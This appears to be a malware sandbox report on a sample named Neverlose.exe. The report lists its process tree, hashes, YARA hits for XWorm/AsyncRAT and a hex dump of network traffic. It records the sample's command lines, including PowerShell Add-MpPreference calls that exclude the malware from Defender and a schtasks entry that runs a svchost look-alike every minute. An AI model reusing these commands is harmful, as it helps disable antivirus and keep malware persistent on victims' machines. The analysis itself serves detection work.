2024-08-24 19:55:06 UTC	1370	IN	Data Raw: 5f 74 75 72 62 6f 5f 64 69 73 74 5f 74 75 72 62 6f 5f 65 73 32 30 31 37 2d 65 73 6d 5f 6a 73 2d 38 35 38 65 30 34 33 66 63 66 37 36 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 72 65 6d 6f 74 65 2d 66 6f 72 6d 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 Data Ascii: _turbo_dist_turbo_es2017-esm_js-858e043fcf76.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated
2024-08-24 19:55:06 UTC	1370	IN	Data Raw: 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 71 75 6f 74 65 2d 73 65 6c 65 63 74 69 6f 6e 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 74 65 78 74 61 72 65 61 2d 61 75 74 6f 73 69 2d 39 65 30 33 34 39 2d 61 62 34 39 37 36 66 63 37 38 61 36 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 75 69 5f 70 61 63 6b 61 67 65 73 5f 75 70 64 61 74 Data Ascii: de_modules_github_quote-selection_dist_index_js-node_modules_github_textarea-autosi-9e0349-ab4976fc78a6.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_updat

Target ID:	0
Start time:	15:54:55
Start date:	24/08/2024
Path:	C:\Users\user\Desktop\Neverlose.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Neverlose.exe"
Imagebase:	0xff0000
File size:	1'189'376 bytes
MD5 hash:	39D6EC26690FFEE2E74FB9694B30453C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1730503666.0000000003937000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1730503666.0000000003937000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Target ID:	1
Start time:	15:54:57
Start date:	24/08/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'
Imagebase:	0x910000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	15:54:57
Start date:	24/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	15:55:01
Start date:	24/08/2024
Path:	C:\Users\user\AppData\Local\Temp\Solara.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Solara.exe"
Imagebase:	0xda0000
File size:	84'480 bytes
MD5 hash:	8AC3D32DDD136180B75C36A39398F39F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000004.00000000.1722027125.0000000000DA2000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000004.00000000.1722027125.0000000000DA2000.00000002.00000001.01000000.00000007.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\Solara.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\Solara.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 76%, ReversingLabs
Reputation:	low
Has exited:	false

Target ID:	5
Start time:	15:55:01
Start date:	24/08/2024
Path:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe"
Imagebase:	0x8c0000
File size:	13'312 bytes
MD5 hash:	6557BD5240397F026E675AFB78544A26
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 33%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	6
Start time:	15:55:01
Start date:	24/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	15:55:05
Start date:	24/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	15:55:05
Start date:	24/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6795a0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	15:55:14
Start date:	24/08/2024
Path:	C:\Users\user\AppData\Local\Temp\Solara.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Solara.exe"
Imagebase:	0x6e0000
File size:	84'480 bytes
MD5 hash:	8AC3D32DDD136180B75C36A39398F39F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	13
Start time:	15:55:19
Start date:	24/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Solara.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	15:55:19
Start date:	24/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	15
Start time:	15:55:23
Start date:	24/08/2024
Path:	C:\Users\user\AppData\Local\Temp\Solara.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Solara.exe"
Imagebase:	0x620000
File size:	84'480 bytes
MD5 hash:	8AC3D32DDD136180B75C36A39398F39F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	16
Start time:	15:55:36
Start date:	24/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\sv_chost.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	17
Start time:	15:55:36
Start date:	24/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	19
Start time:	15:55:58
Start date:	24/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'sv_chost.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	20
Start time:	15:55:58
Start date:	24/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	22
Start time:	15:56:25
Start date:	24/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "sv_chost" /tr "C:\Users\user\AppData\Roaming\sv_chost.exe"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	23
Start time:	15:56:25
Start date:	24/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	24
Start time:	15:56:27
Start date:	24/08/2024
Path:	C:\Users\user\AppData\Roaming\sv_chost.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\sv_chost.exe
Imagebase:	0xb00000
File size:	84'480 bytes
MD5 hash:	8AC3D32DDD136180B75C36A39398F39F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\sv_chost.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\sv_chost.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 76%, ReversingLabs
Has exited:	true

Target ID:	25
Start time:	15:56:37
Start date:	24/08/2024
Path:	C:\Users\user\AppData\Roaming\sv_chost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\sv_chost.exe"
Imagebase:	0x2c0000
File size:	84'480 bytes
MD5 hash:	8AC3D32DDD136180B75C36A39398F39F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	26
Start time:	15:56:45
Start date:	24/08/2024
Path:	C:\Users\user\AppData\Roaming\sv_chost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\sv_chost.exe"
Imagebase:	0x6a0000
File size:	84'480 bytes
MD5 hash:	8AC3D32DDD136180B75C36A39398F39F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true